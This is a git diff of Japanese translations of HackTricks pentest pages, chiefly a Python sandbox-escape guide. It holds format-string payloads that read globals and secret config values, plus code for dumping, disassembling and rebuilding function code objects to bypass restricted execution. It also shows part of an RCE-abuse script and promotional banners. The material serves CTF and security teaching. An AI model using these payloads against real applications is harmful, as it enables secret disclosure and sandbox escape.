ectIdentifier、ECDSA、EllipticCurvePublicNumbers、EllipticCurvePrivateNumbers、RSAPrivateNumbers、RSAPublicNumbers、DERReader、BestAvailableEncryption、CBC、XTS、OFB、CFB、CFB8、CTR、GCM、Cipher、_CipherContext、_AEADCipherContext、AES、Camellia、TripleDES、Blowfish、CAST5、ARC4、IDEA、SEED、ChaCha20、_FragList、_SSHFormatECDSA、Hash、SHAKE128、SHAKE256、BLAKE2b、BLAKE2s、NameAttribute、RelativeDistinguishedName、Name、RFC822Name、DNSName、UniformResourceIdentifier、DirectoryName、RegisteredID、IPAddress、OtherName、Extensions、CRLNumber、AuthorityKeyIdentifier、SubjectKeyIdentifier、AuthorityInformationAccess、SubjectInformationAccess、AccessDescription、BasicConstraints、DeltaCRLIndicator、CRLDistributionPoints、FreshestCRL、DistributionPoint、PolicyConstraints、CertificatePolicies、PolicyInformation、UserNotice、NoticeReference、ExtendedKeyUsage、TLSFeature、InhibitAnyPolicy、KeyUsage、NameConstraints、Extension、GeneralNames、SubjectAlternativeName、IssuerAlternativeName、CertificateIssuer、CRLReason、InvalidityDate、PrecertificateSignedCertificateTimestamps、SignedCertificateTimestamps、OCSPNonce、IssuingDistributionPoint、UnrecognizedExtension、CertificateSigningRequestBuilder、CertificateBuilder、CertificateRevocationListBuilder、RevokedCertificateBuilder、_OpenSSLError、Binding、_X509NameInvalidator、PKey、_EllipticCurve、X509Name、X509Extension、X509Req、X509、X509Store、X509StoreContext、Revoked、CRL、PKCS12、NetscapeSPKI、_PassphraseHelper、_CallbackExceptionHelper、Context、Connection、_CipherContext、_CMACContext、_X509ExtensionParser、DHPrivateNumbers、DHPublicNumbers、DHParameterNumbers、_DHParameters、_DHPrivateKey、_DHPublicKey、Prehashed、_DSAVerificationContext、_DSASignatureContext、_DSAParameters、_DSAPrivateKey、_DSAPublicKey、_ECDSASignatureContext、_ECDSAVerificationContext、_EllipticCurvePrivateKey、_EllipticCurvePublicKey、_Ed25519PublicKey、_Ed25519PrivateKey、_Ed448PublicKey、_Ed448PrivateKey、_HashContext、_HMACContext、_Certificate、_RevokedCertificate、_CertificateRevocationList、_CertificateSigningRequest、_SignedCertificateTimestamp、OCSPRequestBuilder、_SingleResponse、OCSPResponseBuilder、_OCSPResponse、_OCSPRequest、_Poly1305Context、PSS、OAEP、MGF1、_RSASignatureContext、_RSAVerificationContext、_RSAPrivateKey、_RSAPublicKey、_X25519PublicKey、_X25519PrivateKey、_X448PublicKey、_X448PrivateKey、Scrypt、PKCS7SignatureBuilder、Backend、GetCipherByName、WrappedSocket、PyOpenSSLContext、ZipInfo、LZMACompressor、LZMADecompressor、_SharedFile、_Tellable、ZipFile、Path、_Flavour、_Selector、RawJSON、JSONDecoder、JSONEncoder、Cookie、CookieJar、MockRequest、MockResponse、Response、BaseAdapter、UnixHTTPConnection、monkeypatch、JSONDecoder、JSONEncoder、InstallProgress、TextProgress、BaseDependency、Origin、Version、Package、_WrappedLock、Cache、ProblemResolver、_FilteredCacheHelper、FilteredCache、_Framer、_Unframer、_Pickler、_Unpickler、NullTranslations、_wrap_close -``` - -## 組み込み関数、グローバル変数の再帰的検索... +## 組み込み関数、グローバル変数などの再帰的検索 {% hint style="warning" %} -これは単純に**素晴らしい**です。もし**globals、builtins、openなどのオブジェクトを探している**なら、このスクリプトを使用して、そのオブジェクトを見つける場所を**再帰的に**見つけることができます。 +これは単に**素晴らしい**です。もし**globals、builtins、openなどのオブジェクトを探している**なら、このスクリプトを使用して、そのオブジェクトを見つける場所を**再帰的に**見つけることができます。 {% endhint %} - ```python import os, sys # Import these to find more gadgets @@ -729,22 +677,20 @@ print(SEARCH_FOR) if __name__ == "__main__": main() ``` +このスクリプトの出力を次のページで確認できます: -このスクリプトの出力をこのページで確認できます: - -{% content-ref url="https://github.com/carlospolop/hacktricks/blob/jp/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md" %} -[https://github.com/carlospolop/hacktricks/blob/jp/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md](https://github.com/carlospolop/hacktricks/blob/jp/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md) +{% content-ref url="https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md" %} +[https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md) {% endcontent-ref %} ## Pythonフォーマット文字列 -Pythonに**文字列**を**送信**して**フォーマット**する場合、`{}`を使用して**Pythonの内部情報**にアクセスできます。前述の例を使用して、グローバル変数やビルトイン関数にアクセスできます。 +Pythonに**送信される****文字列**を**フォーマット**する場合、`{}`を使用して**Pythonの内部情報**にアクセスできます。前述の例を使用して、グローバル変数やビルトインにアクセスできます。 {% hint style="info" %} -ただし、**制限**があります。`.[]`の記号しか使用できないため、**任意のコードを実行することはできません**。情報を読むだけです。\ +ただし、**制限**があります。`.[]`の記号しか使用できないため、**任意のコードを実行することはできません**。情報の読み取りのみが可能です。\ _**この脆弱性を通じてコードを実行する方法をご存知の場合は、お知らせください。**_ {% endhint %} - ```python # Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/ CONFIG = { @@ -764,20 +710,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS') st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" get_name_for_avatar(st, people_obj = people) ``` +注意してください。通常の方法で**属性にアクセス**できることに注目してください。例えば、`people_obj.__init__`のように**ドット**を使います。また、**辞書要素**には**引用符なし**で**括弧**を使います。例:`__globals__[CONFIG]` -Note how you can **アクセス属性** in a normal way with a **ドット** like `people_obj.__init__` and **dict element** with **parenthesis** without quotes `__globals__[CONFIG]` - -Also note that you can use `.__dict__` to enumerate elements of an object `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` - -Some other interesting characteristics from format strings is the possibility of **実行** the **functions** **`str`**, **`repr`** and **`ascii`** in the indicated object by adding **`!s`**, **`!r`**, **`!a`** respectively: +また、オブジェクトの要素を列挙するために`.__dict__`を使用できることにも注意してください。例:`get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` +フォーマット文字列からの他の興味深い特性として、指定されたオブジェクトで**`str`**、**`repr`**、**`ascii`**の**関数**を**実行**することができる点があります。それぞれ**`!s`**、**`!r`**、**`!a`**を追加します。 ```python st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" get_name_for_avatar(st, people_obj = people) ``` - -さらに、クラス内で**新しいフォーマッターをコーディング**することが可能です: - +さらに、クラス内で**新しいフォーマッターをコード化**することが可能です: ```python class HAL9000(object): def __format__(self, format): @@ -788,11 +730,10 @@ return 'HAL 9000' '{:open-the-pod-bay-doors}'.format(HAL9000()) #I'm afraid I can't do that. ``` - **さらなる例**については、[**https://pyformat.info/**](https://pyformat.info) で**フォーマット** **文字列**の例を見つけることができます。 {% hint style="danger" %} -Python内部オブジェクトから**機密情報を読み取る**ガジェットについても、以下のページをチェックしてください: +Python内部オブジェクトから**機密情報を読み取る**ガジェットについても次のページをチェックしてください: {% endhint %} {% content-ref url="../python-internal-read-gadgets.md" %} @@ -800,7 +741,6 @@ Python内部オブジェクトから**機密情報を読み取る**ガジェッ {% endcontent-ref %} ### 機密情報開示ペイロード - ```python {whoami.__class__.__dict__} {whoami.__globals__[os].__dict__} @@ -811,17 +751,15 @@ Python内部オブジェクトから**機密情報を読み取る**ガジェッ # Access an element through several links {whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__} ``` - ## Pythonオブジェクトの解剖 {% hint style="info" %} -**Pythonバイトコード**について詳しく学びたい場合は、このトピックに関する素晴らしい記事を読んでください: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) +**Pythonバイトコード**について詳しく学びたい場合は、このトピックに関する素晴らしい投稿を読んでください: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) {% endhint %} -一部のCTFでは、**フラグが格納されているカスタム関数の名前**が提供され、その**関数の内部**を見て抽出する必要があります。 - -これが検査する関数です: +いくつかのCTFでは、**フラグが格納されているカスタム関数の名前**が提供され、それを抽出するために**関数**の**内部**を見る必要があります。 +これが調査する関数です: ```python def get_flag(some_input): var1=1 @@ -832,22 +770,18 @@ return "THIS-IS-THE-FALG!" else: return "Nope" ``` - #### dir #### ディレクトリ - ```python dir() #General dir() to find what we have loaded ['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x'] dir(get_flag) #Get info tof the function ['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name'] ``` - #### globals `__globals__` と `func_globals`(同じ) はグローバル環境を取得します。 以下の例では、いくつかのインポートされたモジュール、いくつかのグローバル変数、およびそれらの内容が宣言されています: - ```python get_flag.func_globals get_flag.__globals__ @@ -856,13 +790,11 @@ get_flag.__globals__ #If you have access to some variable value CustomClassObject.__class__.__init__.__globals__ ``` - -[**こちらでグローバル変数を取得する他の場所を参照してください**](./#globals-and-locals) +[**こちらでグローバルを取得するための他の場所を参照してください**](./#globals-and-locals) ### **関数コードへのアクセス** **`__code__`** と `func_code`: 関数のこの**属性**にアクセスして、関数のコードオブジェクトを取得できます。 - ```python # In our current example get_flag.__code__ @@ -876,9 +808,7 @@ compile("print(5)", "", "single") dir(get_flag.__code__) ['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames'] ``` - ### コード情報の取得 - ```python # Another example s = ''' @@ -924,9 +854,7 @@ get_flag.__code__.co_freevars get_flag.__code__.co_code 'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S' ``` - -### **関数の逆アセンブル** - +### **関数のディスアセンブル** ```python import dis dis.dis(get_flag) @@ -954,9 +882,7 @@ dis.dis(get_flag) 44 LOAD_CONST 0 (None) 47 RETURN_VALUE ``` - -注意してください **もしPythonサンドボックスで`dis`をインポートできない** 場合は、関数の**バイトコード** (`get_flag.func_code.co_code`) を取得し、ローカルで**逆アセンブル** することができます。ロードされる変数の内容 (`LOAD_CONST`) は見えませんが、`LOAD_CONST` はロードされる変数のオフセットも示しているため、(`get_flag.func_code.co_consts`) からそれらを推測することができます。 - +注意してください **もしPythonサンドボックスで`dis`をインポートできない場合**、関数の**バイトコード** (`get_flag.func_code.co_code`) を取得し、ローカルで**逆アセンブル**することができます。ロードされる変数の内容 (`LOAD_CONST`) は見えませんが、`LOAD_CONST`はロードされる変数のオフセットも示しているため、(`get_flag.func_code.co_consts`) からそれらを推測することができます。 ```python dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') 0 LOAD_CONST 1 (1) @@ -978,12 +904,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0 44 LOAD_CONST 0 (0) 47 RETURN_VALUE ``` - ## Pythonのコンパイル -さて、何らかの方法で**実行できない関数に関する情報をダンプ**できると想像してみましょうが、それを**実行する必要がある**とします。\ -次の例のように、その関数の**コードオブジェクトにアクセスできます**が、ディスアセンブルを読んでもフラグを計算する方法がわからない\*\*(より複雑な`calc_flag`関数を想像してください)\*\* - +さて、何らかの方法で、**実行できない関数に関する情報をダンプ**できると想像してみましょうが、それを**実行する必要がある**とします。\ +次の例のように、その関数の**コードオブジェクトにアクセスできます**が、ディスアセンブルを読んでも、フラグを計算する方法がわからない**(より複雑な`calc_flag`関数を想像してください)** ```python def get_flag(some_input): var1=1 @@ -996,11 +920,9 @@ return calc_flag("VjkuKuVjgHnci") else: return "Nope" ``` - ### コードオブジェクトの作成 まず最初に、**コードオブジェクトを作成して実行する方法**を知る必要があります。これにより、漏洩した関数を実行するためのコードオブジェクトを作成できます。 - ```python code_type = type((lambda: None).__code__) # Check the following hint if you get an error in calling this @@ -1019,10 +941,8 @@ mydict = {} mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") ``` - {% hint style="info" %} -Pythonのバージョンによって、`code_type`の**パラメータ**の順序が異なる場合があります。実行しているPythonバージョンのパラメータの順序を知る最良の方法は、次のコマンドを実行することです: - +Pythonのバージョンによって、`code_type`の**パラメータ**の順序が異なる場合があります。実行しているPythonバージョンでのパラメータの順序を知る最良の方法は、次のコマンドを実行することです: ``` import types types.CodeType.__doc__ @@ -1033,9 +953,8 @@ types.CodeType.__doc__ ### リークした関数の再現 {% hint style="warning" %} -次の例では、関数コードオブジェクトから直接関数を再作成するために必要なすべてのデータを取得します。**実際の例**では、関数を実行するために必要なすべての**値**が**漏洩する必要がある**ことに注意してください。 +次の例では、関数コードオブジェクトから直接関数を再現するために必要なすべてのデータを取得します。**実際の例**では、関数を実行するために必要なすべての**値**が**漏洩する必要がある**ことに注意してください。 {% endhint %} - ```python fc = get_flag.__code__ # In a real situation the values like fc.co_argcount are the ones you need to leak @@ -1046,14 +965,12 @@ mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") #ThisIsTheFlag ``` - ### 防御をバイパスする -この投稿の冒頭での以前の例では、`compile`関数を使用して**任意のPythonコードを実行する方法**がわかります。これは興味深いことです。なぜなら、**ループを含むスクリプト全体を**(そして\*\*`exec`**を使用して同じことができます)ワンライナーで実行できるからです。**\ -**とにかく、ローカルマシンで**コンパイルされたオブジェクト\*\*を作成し、**CTFマシン**でそれを実行することが便利な場合があります(たとえば、CTFに`compile`関数がないため)。 - -例えば、次のように手動で\_./poc.py\_を読み込む関数をコンパイルして実行しましょう: +この投稿の冒頭での以前の例では、`compile` 関数を使用して **どのようにして Python コードを実行するか** を見ることができます。これは興味深いことです。なぜなら、**ループを含むスクリプト全体を** **ワンライナー** で実行できるからです(同じことを **`exec`** を使用して行うこともできます)。\ +とにかく、**ローカルマシン** で **コンパイルされたオブジェクト** を作成し、**CTF マシン** でそれを実行することが便利な場合があります(たとえば、CTF で `compile` 関数を使用できない場合など)。 +例えば、次のようにして手動で _./poc.py_ を読み込む関数をコンパイルして実行しましょう: ```python #Locally def read(): @@ -1080,9 +997,7 @@ mydict['__builtins__'] = __builtins__ codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ()) function_type(codeobj, mydict, None, None, None)() ``` - -もし`eval`や`exec`にアクセスできない場合は、**適切な関数**を作成することができますが、それを直接呼び出すと通常は「制限モードでコンストラクタにアクセスできません」というエラーが発生します。そのため、**制限された環境にない関数がこの関数を呼び出す必要があります。** - +もし`eval`や`exec`にアクセスできない場合は、**適切な関数**を作成することができますが、それを直接呼び出すと通常は「_constructor not accessible in restricted mode_」というエラーが発生します。そのため、**制限された環境にない関数がこの関数を呼び出す必要があります。** ```python #Compile a regular print ftype = type(lambda: None) @@ -1090,7 +1005,6 @@ ctype = type((lambda: None).func_code) f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {}) f(42) ``` - ## コンパイルされたPythonの逆コンパイル [**https://www.decompiler.com/**](https://www.decompiler.com) のようなツールを使用すると、与えられたコンパイルされたPythonコードを**逆コンパイル**することができます。 @@ -1105,9 +1019,8 @@ f(42) ### Assert -パラメータ`-O`を使用して最適化されたPythonは、**debug**の値に依存するアサート文やコードを削除します。\ -したがって、以下のようなチェック - +パラメータ`-O`を使用して最適化されたPythonは、**デバッグ**の値に依存するアサート文やコードを削除します。\ +したがって、次のようなチェック ```python def check_permission(super_user): try: @@ -1116,7 +1029,6 @@ print("\nYou are a super user\n") except AssertionError: print(f"\nNot a Super User!!!\n") ``` - ## 参考文献 * [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/) @@ -1134,14 +1046,14 @@ print(f"\nNot a Super User!!!\n") -htARTE (HackTricks AWS Red Team Expert)で**ゼロからヒーローまでAWSハッキングを学びましょう**! +htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**してください -* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する +* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する diff --git a/generic-methodologies-and-resources/python/venv.md b/generic-methodologies-and-resources/python/venv.md index a882875af..c82960998 100644 --- a/generic-methodologies-and-resources/python/venv.md +++ b/generic-methodologies-and-resources/python/venv.md @@ -4,21 +4,21 @@ ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する -- **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する** +* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@hacktricks\_live** をフォローする。 +* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに提出してください。 - + \ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ -今すぐアクセスしてください: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ```bash @@ -39,24 +39,24 @@ is fixed running pip3 install wheel inside the virtual environment ``` - + \ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ 今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -**htARTE (HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学ぶ こちら! +**htARTE (HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう! HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 -* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**してください。 +* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 diff --git a/generic-methodologies-and-resources/python/web-requests.md b/generic-methodologies-and-resources/python/web-requests.md index eab0be3da..bd5b2886e 100644 --- a/generic-methodologies-and-resources/python/web-requests.md +++ b/generic-methodologies-and-resources/python/web-requests.md @@ -6,18 +6,18 @@ HackTricks をサポートする他の方法: -* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手してください -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見してください -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローしてください。 -* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** +* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する +* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** - + \ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** してください。\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ 今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -90,7 +90,7 @@ return resp.json() def get_random_string(guid, path): return ''.join(random.choice(string.ascii_letters) for i in range(10)) ``` -## Pythonコマンドを使用してRCEを悪用 +## RCEを悪用するPythonコマンド ```python import requests import re @@ -117,17 +117,17 @@ return 1 term = Terminal() term.cmdloop() ``` - + \ -[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ 今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -**htARTE (HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学ぶ こちら! +htARTE (HackTricks AWS Red Team Expert)で**ゼロからヒーローまでのAWSハッキング**を学びましょう! HackTricksをサポートする他の方法: @@ -135,6 +135,6 @@ HackTricksをサポートする他の方法: * [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**してください。 -* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 +* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 diff --git a/generic-methodologies-and-resources/search-exploits.md b/generic-methodologies-and-resources/search-exploits.md index 7434d287b..4a7e279b9 100644 --- a/generic-methodologies-and-resources/search-exploits.md +++ b/generic-methodologies-and-resources/search-exploits.md @@ -2,23 +2,23 @@ -htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ! +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! HackTricks をサポートする他の方法: * **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする -* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)で **フォロー**する。 +* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** - + \ 